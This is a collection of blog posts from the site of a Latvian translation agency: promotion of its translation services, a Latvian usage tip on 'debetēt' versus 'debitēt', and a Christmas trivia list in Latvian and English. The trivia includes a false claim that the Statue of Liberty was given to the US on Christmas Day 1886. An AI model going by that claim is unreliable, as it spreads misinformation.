Ukrainā vēlas turpināt strādāt, saglabāt normālu dzīvi, un viņiem ir nepieciešams nopelnīt. Dažkārt mēs saņemam īsziņas, ka viņi nevarēs laicīgi pabeigt pasūtījumu, jo atrodas patvertnē, un mēs satraukumā trīcam par viņu dzīvībām, bet mēs arī iepazīstam viņu ģimeņu stāstus, palīdzam, kā varam, piedāvājam patvērumu. Tiek veidotas jaunas attiecības, un tulkotāji, kuriem palīdzējām ofensīvas sākumā, pēcāk piedāvā mums atlaides tulkojumiem priekš ukraiņiem. Labais vairo labo. KO TĀLĀK? Ko tulkošanas nozarei nesīs 2023. gads? Vai tas sagādās vēl kādu pārsteigumu? Mēs vairs nebaidāmies no mašīntulkotājiem. Pandēmija klientus padarījusi atvērtus jaunām lietām, un viņi arī no mums sagaida mūsdienīgus risinājumus. Mums tas ļoti patīk, un mēs par to esam pateicīgi, jo vairs nav jāskaidro, kāpēc vērts uzticēties tehnoloģijām. Mums arī nesagādā bažas, ka pēc pandēmijas daudzi uzņēmumi sadarbojas ar mums vairs tikai tiešsaistē. Daudzējādā ziņā mums tas izrādījies ērtāk. Vai mums draud ekonomiskā krīze? Iespējams. Tomēr vērts atcerēties, ka pēdējie pāris gadi tulkošanas birojiem bijuši vai nu īsta izdzīvošana, vai aizraujošs ceļojums cauri jaunajam – atkarībā no tā, kā konkrētais uzņēmums pielāgojies nozares tehnoloģiskajam lēcienam. Skrivanek gadījumā ievērojami palielinājusies to pakalpojumu popularitāte, ko piedāvājām jau vairākus gadus, bet kas iepriekš netika bieži izvēlēti. Mašīntulkojuma pēcrediģēšana, subtitru veidošana filmām, mājaslapu tulkošana un lokalizācija, Google atslēgvārdu izpēte un satura veidošana svešvalodās atbilstoši SEO parametriem, lietojumprogrammu, spēļu, programmatūras lokalizēšana un testēšana, produktu nosaukumu analīze ārvalstu tirgum tagad ir mūsu ikdiena. Daži uzņēmumi pat pilnībā pārgājuši uz ārvalstu klientu apkalpošanu, jo tiešsaistes pasaulē tas beidzot ir iespējams. Kad radīsies jauni izaicinājumi, mēs noteikti atkal pielāgosimies, papildinot savu piedāvājumu ar jaunām hotdogu variācijām. Skrivanek galvenokārt apkalpo uzņēmumus, taču mēs labprāt uzņemamies jebkuru uzdevumu, arī no privātpersonām. Mēs ne tikai nodrošinām sinhrono tulkošanu konferencēs 2000 cilvēkiem, tulkojam Eiropas Parlamentam vai Valsts prezidenta kancelejai, bet arī strādājam pie īpašiem projektiem. Viens no tādiem, piemēram, bija kādas populāras latviešu dziesmas tulkojums vācu valodā ar uzdevumu mainīt tās saturu, lai tematiski dziesma atbilstu kādas noteiktas nozares uzņēmuma korporatīvajam pasākumam, bet to joprojām varētu dziedāt oriģinālajā melodijā. Mēs iztulkojām arī ar roku rakstītu pateicības vēstuli no ukraiņu valodas kādai izpalīdzīgajai ģimenei, protams, bez maksas. Reiz kāds iemīlējies cilvēks mums lūgs iztulkot dzejoli, bet kāds cits – uzrakstīt eseju savam angļu valodas mājasdarbam. Mēs esam jūsu rīcībā un aicinām jūs apmeklēt Skrivanek Baltic tīmekļa vietni. * https://www. nimdzi. com/nimdzi-100-top-lsp/ --- > Bankai ir tiesības debetēt kontu bez iepriekšējas saskaņošanas. Vai – debitēt? Ieskaties un uzzini atbildi! - Published: 2023-01-09 - Modified: 2023-02-03 - URL: https://skrivanek.lv/debitet-pret-debetet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DEBITĒT PRET DEBETĒT 1 Bankai ir tiesības debetēt kontu bez iepriekšējas saskaņošanas. Vai – debitēt? Debets, debetkarte, debetēt, debitors – visi šie vārdi ir saistīti ar finanšu nozari, un tiem ir viena cilme. Tas ir latīņu valodas vārds ‘debēre (debu-, debit-)’, kas tulkojams – ‘būt parādā’, vai precīzāk ‘debet’ – ‘viņš ir parādā’. Savukārt vārds ‘debitēt’ ir cēlies no franču valodas vārda ‘débuter’ (de-+but) – ‘pirmo reizi uzstāties, spert pirmos soļus kādā jomā’. Attiecīgi lietvārds no šī vārda ir – debija. Ģeologiem ir labi zināms vēl kāds vārds ar franču cilmi – ‘debits’. Un tas nav saistīts nedz ar debiju, nedz arī ar finansēm. Debits (cilmes vārds ‘débit’ (de-+bit)) ir ūdens, naftas vai gāzes daudzums, ko dod urbums vai avots vienā laika vienībā. Tomēr jāatceras, ka debitors nebūs vis ģeologs, kurš nodarbojas ar urbšanu, bet gan parādnieks (no latīņu ‘debitor). Sarežģīti, vai ne? Bet tas vēl nav viss — arī valodniekiem ir savs termins — ‘debitīvs’, kas nozīmē ‘vajadzības izteiksme’, arī cēlies no latīņu valodas. Taču ģeoloģijas un valodniecības termini lai paliek speciālistiem, ikdienā grūtības visdrīzāk var sagādāt nošķīrums debetēt/debitēt. Jo īpaši tādēļ, ka parādnieks ir debitors, nevis debetors, bet cilvēks, kurš uzstājas pirmo reizi, ir debitants. Skrivanek iesaka izdomāt kādu asociāciju virkni, lai būtu vieglāk atcerēties. Piemēram, debija – debitēt – debitants – debitante. Bet: debets – debetēt – debitors – debitore. Tātad teiksim: Bankai ir tiesības debetēt kontu bez iepriekšējas saskaņošanas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Šajā rakstā uzzināsi svarīgāko par tulkošanas biroju darbību, tulkošanas nozares aktualitātēm un tulkošanas pakalpojumu priekšrocībām. 👍️ - Published: 2022-12-28 - Modified: 2025-07-15 - URL: https://skrivanek.lv/tulkosanas-birojs-ka-darbojas-tulkosanas-nozare-latvija/ - Kategorijas: Raksti - Translation Priorities: Optional 10 LIETAS, KAS IKVIENAM BŪTU JĀZINA PAR TULKOŠANAS NOZARI UN TULKOŠANAS BIROJU DARBU Tulkošanas speciālists sevī apvieno dažādas zināšanas un prasmes: valodu zināšanas mutiski un rakstos, pārzinot arī valodas gramatiku; kultūras un etiķetes zināšanas, kā arī komunikācijas prasmes; pētnieka garu un vēlmi nepārtraukti mācīties; spēju iedziļināties un pamanīt detaļas; prasmes darbā ar datoru un dažādām programmām u. c. Labam tulkotājam mērķa valoda ir mātes valoda (dzimtā valoda), jo šādi tulkotājs visprecīzāk pārzinās valodas kultūru un nianses un pratīs tekstu atbilstoši adaptēt, piemēram, pārzinot mērķa valodā pieņemtus frazeoloģismus un izteicienus. Tehnoloģiju attīstība arī tulkošanas nozarē ienesusi rīkus, kas atvieglo gan tulkošanas procesu, gan tulkošanas projektu vadību. Tie palīdz uzkrāt precīzu un klienta apstiprinātu terminoloģiju katram pasūtītājam vai projektam un ļauj ietaupīt tulkošanas laiku un izmaksas. Tulkojumus, kas veikti ar tulkošanas rīkiem, pārskata redaktors vai korektors, lai novērstu gramatikas vai stila nepilnības. Profesionāls tulkotājs savā darbā izmanto valodu un terminoloģijas vārdnīcas, vadās pēc valodas stila norādēm un kvalitātes vadlīnijām, kas palīdz standartizēt tulkojumus un ieviest konsekvenci un skaidrību zīmola vēstījumā. Tulks un tulkotājs ir divi dažādi tulkošanas speciālisti – tulki veic mutiskos tulkojumus, tulkotāji veic rakstiskos tulkojumus. Tulkojuma cena parasti tiek aprēķināta, pamatojoties uz vārdu skaitu dokumenta avota valodā (oriģinālā), taču to var ietekmēt arī izpildes termiņš. Izmantojot tulkošanas biroja pakalpojumus, jūs sadarbosieties ar projektu vadītāju, kurš ir tilts starp pasūtītāju un tulkotāju un jums atbildēs uz visiem interesējošies jautājumiem. Teksta tulkošana un adaptācija nav viens un tas pats – adaptācija nozīmē arī teksta lokalizēšanu, idiomu un izteiksmes līdzekļu nomaiņu, pielāgojot tekstu mērķa valodas auditorijas prasībām. Par tulkojuma izpildes termiņu parasti pasūtītājs vienojas ar tulkošanas biroju, bet pieņemts, ka tulkojumam līdz 500 vārdiem vidēji nepieciešama viena pilna darbadiena, apjomam no 1000 vārdiem – vismaz pusotra darbadiena. TULKOŠANAS PAKALPOJUMI – KAS TIE TĀDI IR? Gaidāma tikšanās ar starptautisku klientu vai sadarbības partneri? Jāuzstājas ar runu, kas būs dzirdama visā pasaulē? Valoda mūsu ikdienā ir svarīgs instruments – informācijas nodošanā, emociju paušanā, jaunu ideju ģenerēšanā un pārmaiņu radīšanā. Valoda mums palīdz uzturēt attiecības – gan privātas, gan profesionālas. Pasaulē ir vairāk nekā 4000 valodu, kurās runātāju skaits pārsniedz 1000 cilvēku, tāpēc tulkošanas pakalpojumu loma ir neatsverama šo attiecību uzturēšanā, nodrošinot informācijas aprites kvalitāti bez saziņas šķēršļiem un kļūdām. Jūs varat būt pārliecināts, ka tulkošanas birojs nodrošinās profesionālus tulkus, kas strādā visdažādākajās valodu kombinācijās. TULKOŠANAS PAKALPOJUMU PRIEKŠROCĪBAS Barjeras mazināšana starp dažādām valstīm Ja vēlaties būt drošs, ka jūsu teiktais tiek interpretēts precīzi un otrā pusē saprasts pareizi, kā arī pats spēsiet saprast, kas jums tiek tulkots, tulkošanas biroja pakalpojumi ir neatsverami, jo tulkošanas speciālisti ir plaši apmācīti un trenēti, lai gan prastu ātri un precīzi tulkot no vienas valodas otrā tikšanās vai konferences laikā, gan nodrošinātu dažādu tekstu tulkojumus – dokumenta, līguma, mājaslapas informācijas u. c. Tā ir iespēja veidot sadarbības un biznesa attiecības ar partneriem visā pasaulē. Sadarbība ar augsti kvalificētiem un pieredzējušiem tulkotājiem Izvēloties tulkošanas biroja pakalpojumus, strādāsiet ar augsti kvalificētiem un pārbaudītiem speciālistiem, kas ir pieredzējuši savā jomā un vienlīdz labi pārzina gan jūsu valodu, gan mērķa valodu. Tulkošanas birojs, uzsākot sadarbību ar tulkiem, pārliecinās par viņu kompetenci – izglītību, pieredzi un prasmēm. Spēja tulkot sarežģītas un specializētas tēmas Ja jums nepieciešami tulkojumi kādā sarežģītā nozarē, lai tulks pārzinātu ne tikai valodu, bet arī terminoloģiju un valodas etiķeti, drauga vai kolēģa palīdzība šādā gadījumā būs riskanta, jo viņi var neorientēties tehniskajā valodā, turklāt profesionāliem tulkiem tiek nodrošināta pieeja dažādām vārdnīcām, tiešsaistes resursiem, kā arī augsta līmeņa tulkošanas programmām. Ietaupīts laiks un nauda Pieņemot uzņēmumā ārštata tulku, var atklāties, ka viņš nestrādā pietiekami ātri vai efektīvi vai nav gatavs strādāt ar jebkuras nozares dokumentiem un tekstiem, turklāt jebkura tulkotāja vai tulka pārzināto valodu skaits ir ierobežots. Sadarbojoties ar tulkošanas biroju, jūsu rīcībā būs augsta līmeņa profesionāļi ne tikai tulkošanas procesā visdažādākajās valodu kombinācijās, bet arī projekta vadībā, nodrošinot kvalitāti un precīzi ievērotus termiņus un ietaupot jūsu laiku un naudu. TULKOŠANAS PAKALPOJUMU VEIDI Rakstiskie tulkojumi Rakstiskie tulkojumi parasti ietver dažādu dokumentu, juridisko līgumu, rokasgrāmatu, zinātnisko dokumentu, medicīnisko ziņojumu, rēķinu u. c. tulkojumus. Tulkojot konkrētas nozares, kā medicīnas, jurisprudences, ekonomikas u. c. , dokumentus, īpaši būtiska ir terminoloģijas ievērošana, tāpēc tulkotājam ir ne tikai filologa izglītība, bet arī zināšanas un spēja orientēties dažādās nozarēs un specifiskās jomās, lai tulkojums būtu kvalitatīvs un ar konsekventu un pareizu terminoloģiju. Notariāli apliecināti tulkojumi Nereti tulkošanas birojs piedāvā arī notariāli apliecinātu dokumenta tulkojumu, kas nozīmē, ka to ar savu parakstu apliecina kvalificēts tulkotājs, bet tulkotāja parakstu apliecina zvērināts notārs. Šādu tulkojumu nepieciešamība paredzēta vairākos normatīvajos aktos. Mutiskie tulkojumi Mutiskajiem tulkojumiem ir divi galvenie veidi: sinhronā un secīgā tulkošana. Sinhronā tulkošana nozīmē, ka tulkošana tiek veikta vienlaikus ar runātāju, un to visbiežāk izmanto starptautiskos semināros, konferencēs un pasākumos ar daudziem dalībniekiem, arī kultūras pasākumos, piemēram, teātra izrādēs vai kino seansos. Šāda veida tulkojumiem parasti izmanto īpašas iekārtas. Kamēr runātājs runā auditorijas priekšā, tulki atrodas skaņu necaurlaidīgā kabīnē, bet pasākuma dalībnieki klausās tulkojumu, izmantojot austiņas. Sinhronā tulkošana ir fiziski un emocionāli ļoti intensīvs darbs, tāpēc parasti vienlaicīgi strādā divi sinhronie tulki, kas viens otru nomaina vismaz reizi pusstundā. Secīgā tulkošana paredz runātāja un tulkotāja sadarbību, atrodoties līdzās, – tulks noklausās runātāja teikto vienā un to iztulko otrā valodā. Šāda veida tulkojumus pārsvarā izmanto biznesa sapulcēs, semināros vai prezentācijās, kad dalībnieku skaits ir neliels. VALODAS LOMA EKONOMIKĀ UN BIZNESA ATTĪSTĪBĀ Tulkošanas nozare strauji mainās. Pasaule aizvien vairāk kļūst globāla un savstarpēji saistīta. Uzņēmumi vēlas konkurēt ārpus savas valsts robežām un attīstīties starptautiskā mērogā, un valoda un kultūras tradīciju pārzināšana un ievērošana ir būtiska, lai saziņa noritētu veiksmīgi. Neskatoties uz pandēmijas skarbo ietekmi uz dažādām industrijām, tulkošanas nozare ir viena no retajām, kas piedzīvo pastāvīgu izaugsmi. Uzņēmumiem, kas veido starptautiskas sadarbības un ir orientēti uz eksporta tirgu, tulkošanas pakalpojumi ir neatņemama ikdienas sastāvdaļa, jo kvalitatīvi, ātri dokumentu, līgumu, mārketinga materiālu, produktu aprakstu tulkojumi ir izšķiroši svarīgi jebkurā nozarē. KĀPĒC TULKOŠANAS PAKALPOJUMOS SVARĪGA LOKALIZĒŠANA UN ADAPTĒŠANA? Ar tulkojumu vien nepietiek. Lai profesionāli un precīzi mērķa valodā pārnestu uzņēmuma stāstu un vērtības vai produkta tehniskās iezīmes, svarīgi informāciju nodot piemērotā tonī, izvēloties atbilstošu leksiku, frazeoloģismus un terminus, tāpēc var teikt, ka tulkošanas nozares centrā ir arī adaptēšana. Tulkojumu un adaptēšanas lomu apstiprina arī statistika par mārketinga efektivitāti. Saskaņā ar datiem: neskatoties uz angļu valodas izteikto dominanci pasaulē, 86 % mērķauditorijas valodā tulkotu un adaptētu reklāmas kampaņu sasniedz labākus rezultātus; Facebook reklāmām ar lokalizētu ieraksta kopiju ir par 22 % augstāks klikšķu skaits sieviešu vidū un par 87 % augstāks – vīriešu vidū; 75 % patērētāju apsvērs iespēju iegādāties preci no zīmola, ja iegādes pakalpojumi būs viņu dzimtajā valodā; 46 % no ierakstiem Google meklētājā ir lokāla informācija valsts valodā. TEHNOLOĢIJU LOMA TULKOŠANAS NOZARĒ Tehnoloģijas ļoti ietekmējušas visas mūsu dzīves jomas, un tulkošanas nozare nav izņēmums. Agrāk tulkotāji savu darbu veica, izmantojot papīru un pildspalvu, rakstāmmašīnas un vārdnīcas. Kā varat iedomāties, tulkošanas process prasīja daudz laika. Par laimi, kopš datora un interneta izgudrošanas daudz kas ir mainījies – tulkotājiem ir piekļuve daudziem digitālajiem resursiem (vārdnīcām, valodu korpusam) un ir samazinājies izpētes laiks (nav jādodas uz bibliotēku un jāpāršķirsta lielās grāmatas), norit ātrāka komunikācija ar klientiem un starp nozares profesionāļiem, turklāt tulkošanas birojam ir iespēja strādāt ar nozares labākajiem profesionāļiem, lai kur arī viņi atrastos. Cilvēka loma joprojām neatsverama Līdz ar tehnoloģiju attīstību pasaules ātrums pieņēmis straujus apgriezienus, un, ņemot vērā satura apjomu, kas jātulko, lai sasniegtu starptautisku tirgu un auditoriju, tehnoloģijai bija jāpiedāvā labāki produktivitātes, saziņas un kvalitātes nodrošināšanas rīki arī tulkošanas nozarē. Šobrīd attīstījušās daudzas ar tulkošanas nozari saistītas tehnoloģijas, tostarp automatizēta mašīntulkošana, kas nozīmē, ka tulkojumi kļūst ātrāki un precīzāki. Taču tas nenozīmē, ka nozarē vairs nebūs nepieciešami cilvēku resursi. Automatizētie tulkojumi ne vienmēr spēj tikt galā ar niansēm un kultūras atšķirībām, tāpēc tulkošanas industrijā būtiska loma vienmēr būs sava aroda augsta līmeņa profesionāļiem, kas nereti ir specializējušies noteikta veida tulkojumos (juridiskajos, medicīniskajos u. c. ), un tas padara tos jo vērtīgākus uzņēmumiem. Tulkošanas pakalpojumi, neizejot no mājām vai biroja Attālināti mūsdienās var strādāt ne tikai tulkotāji, bet arī viss tulkošanas birojs, jo arī saziņa ar klientu par nepieciešamo pakalpojumu var no sākuma līdz beigām noritēt e-vidē. Dažkārt nepieciešams vien e-pasts! SKRIVANEK DARBĪBA UN TULKOŠANAS PAKALPOJUMI Tulkošanas birojs Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu pieredzi valodu pakalpojumu jomā. Šobrīd mums ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs, bet Latvijā Skrivanek Baltic ar biroju Rīgā darbojas no 2003. gada, saviem klientiem piedāvājot augstas kvalitātes valodu pakalpojumus. Skrivanek misija ir palīdzēt klientiem izzināt pasauli un attīstīt biznesu, apgūstot jaunus eksporta tirgus. Mēs ne tikai nodrošinām tulkojumu pakalpojumus kvalitatīvi un profesionāli vairāk nekā 110 valodās, bet, pateicoties jaunākajām tulkošanas tehnoloģijām, arī palīdzam klientiem investēt gudri. Mūsu tulkošanas birojs lepojas ar tā pievienoto vērtību, piedāvājot klientiem tulkojuma korektūru, ko veic redaktors, kam mērķa valoda ir dzimtā valoda, kā arī sniedzot atgriezenisko saiti par starpkultūru un biznesa etiķetes atšķirībām. Ja jums nepieciešami tulkošanas pakalpojumi, – sazinieties ar mums vai nāciet ciemos uz biroju Rīgā, Lāčplēša ielā 87C (darba laiks: darbadienās no plkst. 9 līdz 17. 30)! --- > Kas radīja ziemeļbriedi Rūdolfu? Vai Ziemassvētku vecītis vienmēr vilcis sarkanu kostīmu? Kurš izrotāja pirmo eglīti? 🎄 Interesanti fakti par Ziemassvētkiem. - Published: 2022-12-13 - Modified: 2024-10-23 - URL: https://skrivanek.lv/10-interesanti-fakti-ko-tu-nezinaji-par-ziemassvetkiem/ - Kategorijas: Raksti - Translation Priorities: Optional 10 INTERESANTI FAKTI, KO TU NEZINĀJI PAR ZIEMASSVĒTKIEM Tuvojas gada košākie un gaidītākie svētki – Ziemassvētki. Gaismiņas iemirdzas pat tālākajā sētā, zem kājām gurkst sniegs un sirds gavilē patiesā bērna priekā. Iespējams, kādam šie svētki asociējas tikai ar gardumiem, izrotātu eglīti un dāvanām, taču ir vēl tik daudz aizraujošu un interesantu faktu un notikumu, kas ļauj mums svinēt šos svētkus tādus, kādus tos pazīstam šodien. Te būs 10 fakti, ko tu, visticamāk, nezināji par Ziemassvētkiem: ZIEMASSVĒTKU EGLĪTEI IR SENAS SAKNES Kaut daudziem Ziemassvētki ir Kristus piedzimšanas svētki, izrādās, populārā tradīcija – Ziemassvētku eglītes ienešana mājās, ir daudz senāka un nesaistīta ar kristietību. Jau senajā Ēģiptē un Romā ziemas saulgriežu laikā mājas tika izrotātas ar mūžzaļiem zariem, cerot aizbaidīt ļaunos garus un atgādinot iemītniekiem par pavasara tuvošanos. Šī tradīcija turpinājās arī kristietībā. Pirmā rakstveida liecība par izrotātu Ziemassvētku egli nāk no Rīgas. Vietējās tirgotāju ģildes vīri tirgus placī izrotāja koku, ap to gāja rotaļās un dejās, bet pēc tam aizdedzināja. 16. gadsimtā Vācijā kristieši sāka ienest Ziemassvētku eglītes savās mājās, savukārt Apvienotajā Karalistē šī prakse kļuva īpaši populāra 19. gadsimta vidū, kad karaliene Viktorija, princis Alberts un viņu bērni tika attēloti laikrakstā The Illustrated London News, stāvot ap galveno Ziemassvētku egli Vindzoras pilī. ROTĀJUMU VIETĀ ROZES UN ĀBOLI Pirmā Ziemassvētku eglīte Rīgā esot rotāta ar mākslīgām rozēm. Rozes tika izmantotas daudzus gadus un uzskatītas par Jaunavas Marijas simbolu. Līdz 17. gadsimtam Vācijā bija ierasts izrotāt Ziemassvētku eglītes ar āboliem. Dažās Austrijas un Vācijas daļās eglītes tika pakarinātas pie griestiem. Tās bieži dekorēja ar apzeltītiem riekstiem un sarkanām papīra strēmelītēm. Vēlāk kokos sāka karināt arī konfektes un saldumus. Ēdamie rotājumi kļuva tik populāri, ka eglītes bieži dēvēja par “cukurkokiem”. Pirmie raksti, kur minēta aizdegtu sveču izmantošana Ziemassvētku eglīšu rotāšanai, nāk no 18. gadsimta Francijas. RŪDOLFU RADĪJA REKLĀMAS TEKSTU AUTORS Ziemeļbriedi Rūdolfu ar sarkano degunu 1939. gadā Čikāgā izveidoja Montgomery Ward universālveikala reklāmas tekstu autors Roberts L. Mejs. Katru gadu veikala Ziemassvētku vecītis bērniem dāvināja krāsojamās grāmatas. Rūdolfa stāsts pirmajā publicēšanas gadā tika pārdots 2,4 miljonos eksemplāru. Interesanti, ka Rūdolfu gandrīz nosauca par Rollo vai Redžinaldu, kas šobrīd šķiet neiedomājami. DĀSNAIS BĪSKAPS MŪSDIENU ZIEMASSVĒTKU VECĪŠA PRIEKŠTECIS Tiek uzskatīts, ka Ziemassvētku vecīša pirmsākumi meklējami jau 4. gadsimtā — kāds kristiešu bīskaps atdevis savu lielo mantojumu nabadzīgajiem un izglābis sievietes no verdzības. Nīderlandiešu valodā viņa vārds bijis Sinter Klaas, kas vēlāk angļu valodā kļuva par Santa Klausu. SLEPENAIS VECĪTIS – SENA TRADĪCIJA Daudzi iemīļojuši Ziemassvētku laikā spēlēt Slepeno Ziemassvētku vecīti jeb Secret Santa, kas ir lieliska apdāvināšanās spēle draugu, ģimenes vai kolēģu lokā. Tā ir tradicionāla rietumu tradīcija. Daži uzskata, ka filantrops Lerijs Dīns Stjuarts nāca klajā ar ideju dāvināt noslēpumainas dāvanas svētku laikā. Citi apgalvo, ka šī tradīcija aizsākusies Skandināvijā. Lai gan neviens īsti nav pārliecināts par šīs jautrās tradīcijas precīzu izcelsmi, tā pazīstama gandrīz visā pasaulē. Tā ir arī Skrivanek biroja ilggadējā Ziemassvētku tradīcija. Kolēģi izlozē, kuram darbiniekam dāvaniņa jāsagatavo, un nedēļas laikā līdz pat Ziemassvētkiem atstāj mazus pārsteigumus izlozētajam kolēģim, kurš līdz pat pēdējai dienai nezina, kurš dāvanas atstājis. Noslēdzošajā svētku sanākšanā katram ir iespēja minēt, kurš tad ir bijis Slepenais Ziemassvētku vecītis. ZVANIŅŠ SKANĒJA PAVISAM CITOS SVĒTKOS Izrādās, ka dziesma “Zvaniņš skan” (Jingle Bells) sākotnēji bija paredzēta pavisam citiem svētkiem. Amerikāņu komponists Džeimss Lords Pīrponts uzrakstīja dziesmu ar nosaukumu One Horse Open Sleigh savas baznīcas Pateicības dienas koncertam 19. gadsimta vidū. Pēc tam 1857. gadā dziesma tika atkārtoti izdota ar nosaukumu, kuru mēs visi zinām. Šodien tā joprojām ir viena no populārākajām Ziemassvētku dziesmām un tulkota vairāk nekā 70 valodās. ZIEMASSVĒTKU VECĪŠA TĒLS Ziemassvētku vecīti mēs iztēlojamies kā omulīgu, sirmu vīru sarkanā kostīmā un cepurē, taču sākotnēji tēls nav bijis tik konkrēts. Daži cilvēki apgalvo, ka mūsdienu Ziemassvētku vecīša tēlu radīja Coca-Cola, taču tā nav taisnība. 1823. gadā amerikāņu rakstnieks Klements Klārks Mūrs popularizēja pašreizējo Ziemassvētku vecīša vizuālo izskatu savā dzejolī Twas The Night Before Christmas. Karikatūrista Tomasa Nasta 1881. gada ilustrācija Mūra dzejolim ir kļuvusi ikoniska un palīdzējusi Ziemassvētku vecītim neatgriezeniski pieņemt tā pašreizējo izskatu. Coca-Cola pasūtīja Ziemassvētku vecīša attēlojumu tikai 1931. gadā. TRĪS SVĒTKU KRĀSAS Izrādās Ziemassvētkiem ir trīs, nevis divas krāsas. Sarkans, zelts un zaļš! Zaļais jau izsenis bijis dzīvības un atdzimšanas simbols, sarkans simbolizē Kristus asinis, savukārt zelts ir gaismas un bagātības simbols. LIELĀKĀ DĀVANA – BRĪVĪBAS STATUJA Izrādās, ka Brīvības statuja Ņujorkā ir pati lielākā Ziemassvētku dāvana pasaulē. Tā ir 93 metrus augsta un sver 225 tonnas. 1886. gada Ziemassvētku dienā Francija to uzdāvināja ASV, pieminot Francijas un ASV aliansi Amerikas revolūcijas laikā. SVIN LIELĀKĀ PASAULES DAĻA Vai zinājāt, ka Ziemassvētkus oficiāli svin vairāk nekā 160 valstis visā pasaulē? Turklāt cilvēki aptuveni 20 citās valstīs piedalās ar Ziemassvētkiem saistītos pasākumos un tos atzīmē, lai gan tie nav viņu oficiālie svētki. Skrivanek novēl arī Tev gaišus, skaistus un sirsnīgus Ziemassvētkus! Čehu valodā – Veselé Vánoce! Dāņu valodā – Glædelig Jul! Somu valodā – Hyvää Joulua! Franču valodā – Joyeux Noël! Vācu valodā – Fröhliche Weihnachten! Grieķu valodā – Καλά Χριστούγεννα / Kala Christougena! Itāļu valodā – Buon Natale! Norvēģu valodā – God Jul! Portugāļu valodā – Feliz Natal! Spāņu valodā – ¡Feliz Navidad! ZIEMASSVĒTKI VAI ZIEMAS SAULGRIEŽI? Vai rakstīsim Ziemas saulgrieži jeb Ziemassvētki vai ziemas saulgrieži jeb ziemassvētki? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms ADVENTE VAI ADVENTS? Vai Ziemassvētku gaidīšanas laiks ir advente vai advents? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms --- > Who created Rudolph the reindeer? Has Santa always worn a red suit? Who decorated the first Christmas tree?🎄 Interesting facts about Christmas - Published: 2022-12-13 - Modified: 2025-07-08 - URL: https://skrivanek.lv/10-interesanti-fakti-ko-tu-nezinaji-par-ziemassvetkiem/ - Kategorijas: Article - Translation Priorities: Optional 10 INTERESTING FACTS YOU DIDN'T KNOW ABOUT CHRISTMAS The brightest and most anticipated holiday of the year is approaching – Christmas. Twinkling lights, snow under our feet, and hearts that beat faster from joy. For some, this holiday may be associated only with delicious food, a decorated Christmas tree, and gifts, but there are many more exciting and interesting facts and events that allow us to celebrate this holiday as we know it today. Here are 10 facts you didn't know about Christmas: THE CHRISTMAS TREE HAS PAGAN ROOTS For many, Christmas is associated with the birth of Christ, although as it turns out, the most popular tradition – bringing a Christmas tree into the home – is much older and unrelated to Christianity. Already in ancient Egypt and Rome, during the winter solstice, pagan houses were decorated with evergreen branches, hoping to scare off evil spirits and remind the inhabitants that spring is coming. This tradition continued with the conversion to Christianity. The first written evidence of a decorated Christmas tree comes from Riga, Latvia. Men from the local merchant guild decorated the tree in the market square, danced around it, and then set it on fire. In 16th-century Germany, devout Christians began to bring Christmas trees into their homes. In the United Kingdom, the practice became fashionable in the mid-19th century when the famous Queen Victoria, Prince Albert of Germany, and their children were drawn in The Illustrated London News standing around the Christmas tree at Windsor Palace. ROSES AND APPLES INSTEAD OF DECORATIONS The first Christmas tree in Riga was decorated with artificial roses. Roses have been used for many years and are considered a symbol of the Virgin Mary. Until the 17th century in Germany, Christmas trees were decorated with apples. In parts of Austria and Germany, they were hung from the ceiling and often decorated with gilded nuts and red paper strips. Later, candies and sweets were also used. Edible decorations became so popular that Christmas trees were often called “sugar trees”. The first articles mentioning the use of lighted candles as a Christmas tree decoration come from France in the 18th century. RUDOLPH WAS CREATED BY A COPYWRITER Rudolph the Red-Nosed Reindeer was created in 1939 by Robert L. May, an advertising copywriter for the Montgomery Ward department store in Chicago. Every year, the store's Santa Claus gave colouring books to the children. The Story of Rudolph sold 2. 4 million copies in its first year of publication. Interestingly, Rudolph was almost named Rollo or Reginald, which seems unthinkable now. THE GENEROUS BISHOP – THE FIRST SANTA CLAUS It's believed that the origins of Santa Claus can be traced back to the 4th century when a Christian bishop gave his large inheritance to the poor and saved women from slavery. In Dutch, his name was Sinter Klaas, which later became Santa Claus in English. SECRET SANTA IS AN OLD TRADITION During Christmas, many like to play Secret Santa – a great gift-giving game to play with friends, family, or colleagues. It is a western tradition. Philanthropist Larry Dean Stewart might have come up with the idea of giving anonymous gifts during the holidays. Others claim that this tradition originated from Scandinavia. Although no one is quite sure of the exact origin of this fun tradition, it is known almost all over the world. It is also a long-standing Christmas tradition of the Skrivanek office. Each colleague picks another employee's name and during the week leading up to Christmas leaves small surprises for the person. The only rule is not to reveal that you are the one who does it until the last day. At the final gathering of the holiday, everyone has a chance to guess who their Secret Santa was. JINGLE BELLS WAS A SONG FOR A COMPLETELY DIFFERENT CELEBRATION It turns out that the song Jingle Bells was intended for the celebration of a completely different holiday. James Lord Pierpont wrote a song called One Horse Open Sleigh 